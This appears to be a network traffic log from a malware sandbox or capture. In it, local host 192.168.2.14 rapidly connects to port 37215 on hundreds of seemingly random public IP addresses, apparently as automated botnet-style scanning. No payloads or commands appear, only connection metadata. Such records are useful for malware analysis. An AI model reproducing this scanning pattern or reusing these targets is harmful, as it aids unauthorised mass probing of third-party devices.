Sep 25, 2024 14:14:10.135803938 CEST	56100	37215	192.168.2.14	156.82.22.251
Sep 25, 2024 14:14:10.135812044 CEST	37215	44072	156.60.200.195	192.168.2.14
Sep 25, 2024 14:14:10.135812044 CEST	39990	37215	192.168.2.14	41.192.9.132
Sep 25, 2024 14:14:10.135838985 CEST	37215	52538	156.159.53.215	192.168.2.14
Sep 25, 2024 14:14:10.135843992 CEST	44072	37215	192.168.2.14	156.60.200.195
Sep 25, 2024 14:14:10.135849953 CEST	37215	48638	156.147.64.138	192.168.2.14
Sep 25, 2024 14:14:10.135860920 CEST	37215	58730	156.10.172.17	192.168.2.14
Sep 25, 2024 14:14:10.135874033 CEST	52538	37215	192.168.2.14	156.159.53.215
Sep 25, 2024 14:14:10.135874033 CEST	48638	37215	192.168.2.14	156.147.64.138
Sep 25, 2024 14:14:10.135889053 CEST	58730	37215	192.168.2.14	156.10.172.17
Sep 25, 2024 14:14:10.135946989 CEST	37215	32864	41.17.224.245	192.168.2.14
Sep 25, 2024 14:14:10.135968924 CEST	37215	53022	197.103.101.114	192.168.2.14
Sep 25, 2024 14:14:10.135971069 CEST	37215	34746	197.186.28.45	192.168.2.14
Sep 25, 2024 14:14:10.135977983 CEST	32864	37215	192.168.2.14	41.17.224.245
Sep 25, 2024 14:14:10.135981083 CEST	37215	40222	156.172.137.208	192.168.2.14
Sep 25, 2024 14:14:10.135993004 CEST	37215	59068	41.216.108.45	192.168.2.14
Sep 25, 2024 14:14:10.136003017 CEST	37215	50840	41.214.110.3	192.168.2.14
Sep 25, 2024 14:14:10.136008024 CEST	34746	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:10.136009932 CEST	40222	37215	192.168.2.14	156.172.137.208
Sep 25, 2024 14:14:10.136013031 CEST	37215	41008	197.87.102.75	192.168.2.14
Sep 25, 2024 14:14:10.136018991 CEST	59068	37215	192.168.2.14	41.216.108.45
Sep 25, 2024 14:14:10.136023045 CEST	37215	46004	156.79.189.25	192.168.2.14
Sep 25, 2024 14:14:10.136030912 CEST	53022	37215	192.168.2.14	197.103.101.114
Sep 25, 2024 14:14:10.136033058 CEST	41008	37215	192.168.2.14	197.87.102.75
Sep 25, 2024 14:14:10.136034012 CEST	37215	49700	156.194.100.66	192.168.2.14
Sep 25, 2024 14:14:10.136034966 CEST	50840	37215	192.168.2.14	41.214.110.3
Sep 25, 2024 14:14:10.136054993 CEST	46004	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:10.136060953 CEST	49700	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:10.136118889 CEST	37215	56708	156.178.255.27	192.168.2.14
Sep 25, 2024 14:14:10.136130095 CEST	37215	40532	41.190.5.55	192.168.2.14
Sep 25, 2024 14:14:10.136140108 CEST	37215	60436	41.125.117.102	192.168.2.14
Sep 25, 2024 14:14:10.136159897 CEST	37215	57414	156.252.250.218	192.168.2.14
Sep 25, 2024 14:14:10.136171103 CEST	37215	52608	41.149.63.53	192.168.2.14
Sep 25, 2024 14:14:10.136171103 CEST	60436	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:10.136178970 CEST	56708	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:10.136183023 CEST	37215	36068	41.82.43.36	192.168.2.14
Sep 25, 2024 14:14:10.136184931 CEST	40532	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:10.136200905 CEST	57414	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:10.136204958 CEST	37215	58166	197.0.5.179	192.168.2.14
Sep 25, 2024 14:14:10.136205912 CEST	37215	55086	156.189.101.111	192.168.2.14
Sep 25, 2024 14:14:10.136213064 CEST	37215	47516	156.7.11.250	192.168.2.14
Sep 25, 2024 14:14:10.136214018 CEST	37215	54140	197.11.4.247	192.168.2.14
Sep 25, 2024 14:14:10.136215925 CEST	52608	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:10.136215925 CEST	37215	47750	156.217.57.108	192.168.2.14
Sep 25, 2024 14:14:10.136223078 CEST	36068	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:10.136229038 CEST	58166	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:10.136229038 CEST	37215	40968	41.4.254.46	192.168.2.14
Sep 25, 2024 14:14:10.136236906 CEST	47516	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:10.136236906 CEST	55086	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:10.136241913 CEST	37215	53816	41.135.197.14	192.168.2.14
Sep 25, 2024 14:14:10.136246920 CEST	47750	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:10.136246920 CEST	54140	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:10.136254072 CEST	37215	36254	156.207.216.152	192.168.2.14
Sep 25, 2024 14:14:10.136264086 CEST	37215	52588	197.210.89.215	192.168.2.14
Sep 25, 2024 14:14:10.136276007 CEST	40968	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:10.136281013 CEST	36254	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:10.136285067 CEST	37215	55064	156.26.39.47	192.168.2.14
Sep 25, 2024 14:14:10.136286974 CEST	52588	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:10.136287928 CEST	53816	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:10.136296034 CEST	37215	55184	156.186.222.188	192.168.2.14
Sep 25, 2024 14:14:10.136307001 CEST	37215	34192	41.30.78.64	192.168.2.14
Sep 25, 2024 14:14:10.136312008 CEST	55064	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:10.136320114 CEST	37215	50704	41.173.74.236	192.168.2.14
Sep 25, 2024 14:14:10.136331081 CEST	37215	36964	197.177.156.30	192.168.2.14
Sep 25, 2024 14:14:10.136342049 CEST	37215	37888	156.42.73.218	192.168.2.14
Sep 25, 2024 14:14:10.136342049 CEST	55184	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:10.136343002 CEST	34192	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:10.136352062 CEST	37215	39338	197.86.239.160	192.168.2.14
Sep 25, 2024 14:14:10.136358023 CEST	50704	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:10.136362076 CEST	37215	44318	41.177.1.74	192.168.2.14
Sep 25, 2024 14:14:10.136363029 CEST	36964	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:10.136372089 CEST	37215	37902	156.39.222.238	192.168.2.14
Sep 25, 2024 14:14:10.136380911 CEST	37888	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:10.136382103 CEST	39338	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:10.136390924 CEST	44318	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:10.136393070 CEST	37215	33752	156.190.179.85	192.168.2.14
Sep 25, 2024 14:14:10.136403084 CEST	37215	37324	41.114.110.174	192.168.2.14
Sep 25, 2024 14:14:10.136401892 CEST	37902	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:10.136413097 CEST	37215	45084	156.135.251.155	192.168.2.14
Sep 25, 2024 14:14:10.136423111 CEST	37215	43112	197.58.228.114	192.168.2.14
Sep 25, 2024 14:14:10.136425972 CEST	33752	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:10.136426926 CEST	37324	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:10.136432886 CEST	37215	41700	41.165.106.77	192.168.2.14
Sep 25, 2024 14:14:10.136442900 CEST	45084	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:10.136449099 CEST	37215	58844	41.89.167.118	192.168.2.14
Sep 25, 2024 14:14:10.136451960 CEST	43112	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:10.136461020 CEST	37215	52788	197.73.214.226	192.168.2.14
Sep 25, 2024 14:14:10.136461020 CEST	41700	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:10.136471987 CEST	37215	32944	41.134.91.195	192.168.2.14
Sep 25, 2024 14:14:10.136485100 CEST	37215	53938	41.75.87.189	192.168.2.14
Sep 25, 2024 14:14:10.136487961 CEST	52788	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:10.136496067 CEST	37215	37976	197.23.164.92	192.168.2.14
Sep 25, 2024 14:14:10.136507034 CEST	37215	34500	156.137.155.99	192.168.2.14
Sep 25, 2024 14:14:10.136518002 CEST	37215	37816	41.251.248.239	192.168.2.14
Sep 25, 2024 14:14:10.136526108 CEST	32944	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:10.136526108 CEST	53938	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:10.136528015 CEST	37215	46784	41.2.163.52	192.168.2.14
Sep 25, 2024 14:14:10.136529922 CEST	37976	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:10.136532068 CEST	34500	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:10.136538982 CEST	37215	38366	197.231.175.245	192.168.2.14
Sep 25, 2024 14:14:10.136549950 CEST	37816	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:10.136552095 CEST	58844	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:10.136552095 CEST	46784	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:10.136559963 CEST	37215	43168	156.56.63.6	192.168.2.14
Sep 25, 2024 14:14:10.136570930 CEST	37215	60010	197.8.24.240	192.168.2.14
Sep 25, 2024 14:14:10.136575937 CEST	38366	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:10.136581898 CEST	37215	57964	156.150.87.77	192.168.2.14
Sep 25, 2024 14:14:10.136593103 CEST	37215	54706	197.219.223.91	192.168.2.14
Sep 25, 2024 14:14:10.136600018 CEST	43168	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:10.136600018 CEST	60010	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:10.136604071 CEST	37215	41892	197.97.88.153	192.168.2.14
Sep 25, 2024 14:14:10.136629105 CEST	57964	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:10.136629105 CEST	54706	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:10.136652946 CEST	41892	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:10.137830019 CEST	37215	60920	41.134.91.195	192.168.2.14
Sep 25, 2024 14:14:10.137840986 CEST	37215	52532	197.73.214.226	192.168.2.14
Sep 25, 2024 14:14:10.137851000 CEST	37215	41444	41.165.106.77	192.168.2.14
Sep 25, 2024 14:14:10.139297009 CEST	43304	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:10.139337063 CEST	37215	50832	156.219.163.0	192.168.2.14
Sep 25, 2024 14:14:10.139372110 CEST	50832	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:10.141707897 CEST	39948	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:10.142046928 CEST	37215	34244	156.137.155.99	192.168.2.14
Sep 25, 2024 14:14:10.142065048 CEST	37215	37720	197.23.164.92	192.168.2.14
Sep 25, 2024 14:14:10.142085075 CEST	37215	53682	41.75.87.189	192.168.2.14
Sep 25, 2024 14:14:10.144210100 CEST	37215	43304	156.33.99.108	192.168.2.14
Sep 25, 2024 14:14:10.144246101 CEST	43304	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:10.144323111 CEST	37020	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:10.145823956 CEST	37215	38110	197.231.175.245	192.168.2.14
Sep 25, 2024 14:14:10.145836115 CEST	37215	37560	41.251.248.239	192.168.2.14
Sep 25, 2024 14:14:10.146465063 CEST	37215	39948	41.189.109.120	192.168.2.14
Sep 25, 2024 14:14:10.146496058 CEST	39948	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:10.146696091 CEST	42646	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:10.148539066 CEST	54560	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:10.149403095 CEST	33820	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:10.150221109 CEST	37215	37020	197.170.117.10	192.168.2.14
Sep 25, 2024 14:14:10.150305986 CEST	37020	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:10.150547028 CEST	38374	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:10.151787043 CEST	37215	42646	41.141.128.89	192.168.2.14
Sep 25, 2024 14:14:10.151815891 CEST	42646	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:10.152015924 CEST	39448	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:10.152738094 CEST	36318	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:10.153341055 CEST	37215	54560	41.146.247.208	192.168.2.14
Sep 25, 2024 14:14:10.153476000 CEST	54560	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:10.153505087 CEST	46334	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:10.153831005 CEST	37215	46528	41.2.163.52	192.168.2.14
Sep 25, 2024 14:14:10.153837919 CEST	37215	57708	156.150.87.77	192.168.2.14
Sep 25, 2024 14:14:10.154182911 CEST	56224	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:10.154186964 CEST	37215	33820	156.47.26.203	192.168.2.14
Sep 25, 2024 14:14:10.154230118 CEST	33820	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:10.154841900 CEST	57530	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:10.155338049 CEST	37215	38374	41.111.186.112	192.168.2.14
Sep 25, 2024 14:14:10.155394077 CEST	38374	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:10.155508041 CEST	48914	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:10.156563044 CEST	50806	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:10.156927109 CEST	37215	39448	41.164.250.178	192.168.2.14
Sep 25, 2024 14:14:10.156971931 CEST	39448	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:10.157542944 CEST	37215	36318	197.125.193.227	192.168.2.14
Sep 25, 2024 14:14:10.157586098 CEST	36318	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:10.157794952 CEST	42192	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:10.157804012 CEST	37215	41636	197.97.88.153	192.168.2.14
Sep 25, 2024 14:14:10.158282995 CEST	37215	46334	41.21.108.191	192.168.2.14
Sep 25, 2024 14:14:10.158327103 CEST	46334	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:10.158889055 CEST	37215	56224	156.131.165.57	192.168.2.14
Sep 25, 2024 14:14:10.158948898 CEST	56224	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:10.159218073 CEST	59056	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:10.159641981 CEST	37215	57530	41.23.9.240	192.168.2.14
Sep 25, 2024 14:14:10.159676075 CEST	57530	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:10.160335064 CEST	37215	48914	156.115.211.80	192.168.2.14
Sep 25, 2024 14:14:10.160373926 CEST	48914	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:10.160485983 CEST	34226	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:10.161396027 CEST	37215	50806	156.187.174.94	192.168.2.14
Sep 25, 2024 14:14:10.161432028 CEST	50806	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:10.161803007 CEST	37215	59754	197.8.24.240	192.168.2.14
Sep 25, 2024 14:14:10.161808968 CEST	37215	42912	156.56.63.6	192.168.2.14
Sep 25, 2024 14:14:10.161878109 CEST	36732	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:10.162636995 CEST	37215	42192	197.251.163.22	192.168.2.14
Sep 25, 2024 14:14:10.162673950 CEST	42192	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:10.163204908 CEST	56384	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:10.164041042 CEST	37215	59056	156.134.127.99	192.168.2.14
Sep 25, 2024 14:14:10.164079905 CEST	59056	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:10.164726019 CEST	40338	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:10.165395021 CEST	37215	34226	41.180.9.202	192.168.2.14
Sep 25, 2024 14:14:10.165436983 CEST	34226	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:10.165489912 CEST	50080	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:10.165786982 CEST	37215	54450	197.219.223.91	192.168.2.14
Sep 25, 2024 14:14:10.166157007 CEST	60004	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:10.166676998 CEST	37215	36732	197.190.221.23	192.168.2.14
Sep 25, 2024 14:14:10.166707039 CEST	36732	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:10.166915894 CEST	48156	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:10.167839050 CEST	58258	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:10.168188095 CEST	37215	56384	156.5.29.152	192.168.2.14
Sep 25, 2024 14:14:10.168236971 CEST	56384	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:10.168510914 CEST	54100	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:10.169145107 CEST	38006	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:10.169538975 CEST	37215	40338	41.36.136.239	192.168.2.14
Sep 25, 2024 14:14:10.169584036 CEST	40338	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:10.169821978 CEST	37215	56118	41.185.23.149	192.168.2.14
Sep 25, 2024 14:14:10.169828892 CEST	37215	56820	156.202.78.248	192.168.2.14
Sep 25, 2024 14:14:10.169856071 CEST	51174	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:10.170305014 CEST	37215	50080	41.196.53.42	192.168.2.14
Sep 25, 2024 14:14:10.170346975 CEST	50080	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:10.170568943 CEST	47298	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:10.171334028 CEST	44884	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:10.171767950 CEST	37215	60004	41.58.52.85	192.168.2.14
Sep 25, 2024 14:14:10.171773911 CEST	37215	48156	156.34.181.226	192.168.2.14
Sep 25, 2024 14:14:10.171819925 CEST	48156	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:10.171818972 CEST	60004	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:10.171901941 CEST	36566	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:10.172578096 CEST	59136	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:10.172615051 CEST	37215	58258	197.176.176.248	192.168.2.14
Sep 25, 2024 14:14:10.172656059 CEST	58258	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:10.173913002 CEST	37215	54100	197.138.35.126	192.168.2.14
Sep 25, 2024 14:14:10.174067020 CEST	54100	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:10.174113035 CEST	56396	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:10.174305916 CEST	37215	38006	41.88.209.182	192.168.2.14
Sep 25, 2024 14:14:10.174346924 CEST	38006	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:10.174766064 CEST	37215	51174	197.190.213.211	192.168.2.14
Sep 25, 2024 14:14:10.174841881 CEST	51174	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:10.175395012 CEST	37215	47298	197.20.94.33	192.168.2.14
Sep 25, 2024 14:14:10.175410986 CEST	33050	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:10.175434113 CEST	47298	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:10.176085949 CEST	37215	44884	41.63.0.247	192.168.2.14
Sep 25, 2024 14:14:10.176177025 CEST	44884	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:10.176906109 CEST	45698	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:10.177242994 CEST	37215	36566	197.99.236.196	192.168.2.14
Sep 25, 2024 14:14:10.177292109 CEST	36566	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:10.177433968 CEST	37215	59136	197.22.35.233	192.168.2.14
Sep 25, 2024 14:14:10.177474022 CEST	59136	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:10.178456068 CEST	38888	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:10.178991079 CEST	37215	56396	41.220.24.144	192.168.2.14
Sep 25, 2024 14:14:10.179032087 CEST	56396	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:10.180212021 CEST	37215	33050	41.133.25.7	192.168.2.14
Sep 25, 2024 14:14:10.180246115 CEST	33050	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:10.180809021 CEST	56352	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:10.181694984 CEST	37215	45698	41.167.193.247	192.168.2.14
Sep 25, 2024 14:14:10.181747913 CEST	45698	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:10.182674885 CEST	40288	37215	192.168.2.14	197.89.170.252
Sep 25, 2024 14:14:10.183599949 CEST	37215	38888	197.33.56.32	192.168.2.14
Sep 25, 2024 14:14:10.183679104 CEST	38888	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:10.184708118 CEST	42852	37215	192.168.2.14	156.205.105.230
Sep 25, 2024 14:14:10.185600996 CEST	37215	56352	41.60.198.199	192.168.2.14
Sep 25, 2024 14:14:10.185645103 CEST	56352	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:10.185915947 CEST	49798	37215	192.168.2.14	197.208.164.58
Sep 25, 2024 14:14:10.187417030 CEST	58412	37215	192.168.2.14	156.158.45.127
Sep 25, 2024 14:14:10.187452078 CEST	37215	40288	197.89.170.252	192.168.2.14
Sep 25, 2024 14:14:10.187525988 CEST	40288	37215	192.168.2.14	197.89.170.252
Sep 25, 2024 14:14:10.188827038 CEST	51866	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:10.189466000 CEST	37215	42852	156.205.105.230	192.168.2.14
Sep 25, 2024 14:14:10.189598083 CEST	42852	37215	192.168.2.14	156.205.105.230
Sep 25, 2024 14:14:10.190309048 CEST	57136	37215	192.168.2.14	41.216.132.188
Sep 25, 2024 14:14:10.190670013 CEST	37215	49798	197.208.164.58	192.168.2.14
Sep 25, 2024 14:14:10.190712929 CEST	49798	37215	192.168.2.14	197.208.164.58
Sep 25, 2024 14:14:10.191958904 CEST	42716	37215	192.168.2.14	197.253.41.239
Sep 25, 2024 14:14:10.192198992 CEST	37215	58412	156.158.45.127	192.168.2.14
Sep 25, 2024 14:14:10.192240953 CEST	58412	37215	192.168.2.14	156.158.45.127
Sep 25, 2024 14:14:10.193672895 CEST	37215	51866	197.8.254.42	192.168.2.14
Sep 25, 2024 14:14:10.193727016 CEST	51866	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:10.194657087 CEST	50032	37215	192.168.2.14	197.218.197.167
Sep 25, 2024 14:14:10.195069075 CEST	37215	57136	41.216.132.188	192.168.2.14
Sep 25, 2024 14:14:10.195172071 CEST	57136	37215	192.168.2.14	41.216.132.188
Sep 25, 2024 14:14:10.196535110 CEST	51580	37215	192.168.2.14	41.80.11.132
Sep 25, 2024 14:14:10.196835041 CEST	37215	42716	197.253.41.239	192.168.2.14
Sep 25, 2024 14:14:10.196875095 CEST	42716	37215	192.168.2.14	197.253.41.239
Sep 25, 2024 14:14:10.198720932 CEST	42020	37215	192.168.2.14	41.74.74.240
Sep 25, 2024 14:14:10.199512005 CEST	37215	50032	197.218.197.167	192.168.2.14
Sep 25, 2024 14:14:10.199563026 CEST	50032	37215	192.168.2.14	197.218.197.167
Sep 25, 2024 14:14:10.200514078 CEST	43598	37215	192.168.2.14	197.8.14.51
Sep 25, 2024 14:14:10.202038050 CEST	37215	51580	41.80.11.132	192.168.2.14
Sep 25, 2024 14:14:10.202076912 CEST	51580	37215	192.168.2.14	41.80.11.132
Sep 25, 2024 14:14:10.202630043 CEST	51734	37215	192.168.2.14	156.248.255.21
Sep 25, 2024 14:14:10.203577042 CEST	37215	42020	41.74.74.240	192.168.2.14
Sep 25, 2024 14:14:10.203649998 CEST	42020	37215	192.168.2.14	41.74.74.240
Sep 25, 2024 14:14:10.204545975 CEST	34528	37215	192.168.2.14	156.62.201.8
Sep 25, 2024 14:14:10.205492020 CEST	37215	43598	197.8.14.51	192.168.2.14
Sep 25, 2024 14:14:10.205492973 CEST	43418	37215	192.168.2.14	156.58.41.171
Sep 25, 2024 14:14:10.205539942 CEST	43598	37215	192.168.2.14	197.8.14.51
Sep 25, 2024 14:14:10.206151009 CEST	59698	37215	192.168.2.14	156.125.16.61
Sep 25, 2024 14:14:10.206706047 CEST	57076	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:10.206712961 CEST	56374	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:10.206768990 CEST	50012	37215	192.168.2.14	41.26.175.192
Sep 25, 2024 14:14:10.206768990 CEST	50012	37215	192.168.2.14	41.26.175.192
Sep 25, 2024 14:14:10.207021952 CEST	50376	37215	192.168.2.14	41.26.175.192
Sep 25, 2024 14:14:10.207372904 CEST	51518	37215	192.168.2.14	156.175.237.207
Sep 25, 2024 14:14:10.207372904 CEST	51518	37215	192.168.2.14	156.175.237.207
Sep 25, 2024 14:14:10.207603931 CEST	37215	51734	156.248.255.21	192.168.2.14
Sep 25, 2024 14:14:10.207645893 CEST	51734	37215	192.168.2.14	156.248.255.21
Sep 25, 2024 14:14:10.207645893 CEST	51882	37215	192.168.2.14	156.175.237.207
Sep 25, 2024 14:14:10.208045006 CEST	54296	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:10.208045006 CEST	54296	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:10.208324909 CEST	54408	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:10.208709955 CEST	34746	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:10.208709955 CEST	34746	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:10.209197998 CEST	34858	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:10.209338903 CEST	37215	34528	156.62.201.8	192.168.2.14
Sep 25, 2024 14:14:10.209371090 CEST	34528	37215	192.168.2.14	156.62.201.8
Sep 25, 2024 14:14:10.209621906 CEST	50832	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:10.209621906 CEST	50832	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:10.210041046 CEST	50944	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:10.210333109 CEST	43304	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:10.210333109 CEST	43304	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:10.210370064 CEST	37215	43418	156.58.41.171	192.168.2.14
Sep 25, 2024 14:14:10.210410118 CEST	43418	37215	192.168.2.14	156.58.41.171
Sep 25, 2024 14:14:10.210623980 CEST	43416	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:10.210990906 CEST	39948	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:10.210990906 CEST	39948	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:10.211075068 CEST	37215	59698	156.125.16.61	192.168.2.14
Sep 25, 2024 14:14:10.211127043 CEST	59698	37215	192.168.2.14	156.125.16.61
Sep 25, 2024 14:14:10.211378098 CEST	40060	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:10.211651087 CEST	37215	50012	41.26.175.192	192.168.2.14
Sep 25, 2024 14:14:10.211658001 CEST	37215	57076	156.202.78.248	192.168.2.14
Sep 25, 2024 14:14:10.211692095 CEST	37020	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:10.211694956 CEST	57076	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:10.211705923 CEST	37020	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:10.211779118 CEST	37215	50376	41.26.175.192	192.168.2.14
Sep 25, 2024 14:14:10.211828947 CEST	50376	37215	192.168.2.14	41.26.175.192
Sep 25, 2024 14:14:10.211899042 CEST	37215	56374	41.185.23.149	192.168.2.14
Sep 25, 2024 14:14:10.211950064 CEST	56374	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:10.211971998 CEST	37132	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:10.212310076 CEST	37215	51518	156.175.237.207	192.168.2.14
Sep 25, 2024 14:14:10.212333918 CEST	42646	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:10.212333918 CEST	42646	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:10.212513924 CEST	37215	51882	156.175.237.207	192.168.2.14
Sep 25, 2024 14:14:10.212555885 CEST	51882	37215	192.168.2.14	156.175.237.207
Sep 25, 2024 14:14:10.212835073 CEST	42758	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:10.212863922 CEST	37215	54296	41.98.119.45	192.168.2.14
Sep 25, 2024 14:14:10.213084936 CEST	37215	54408	41.98.119.45	192.168.2.14
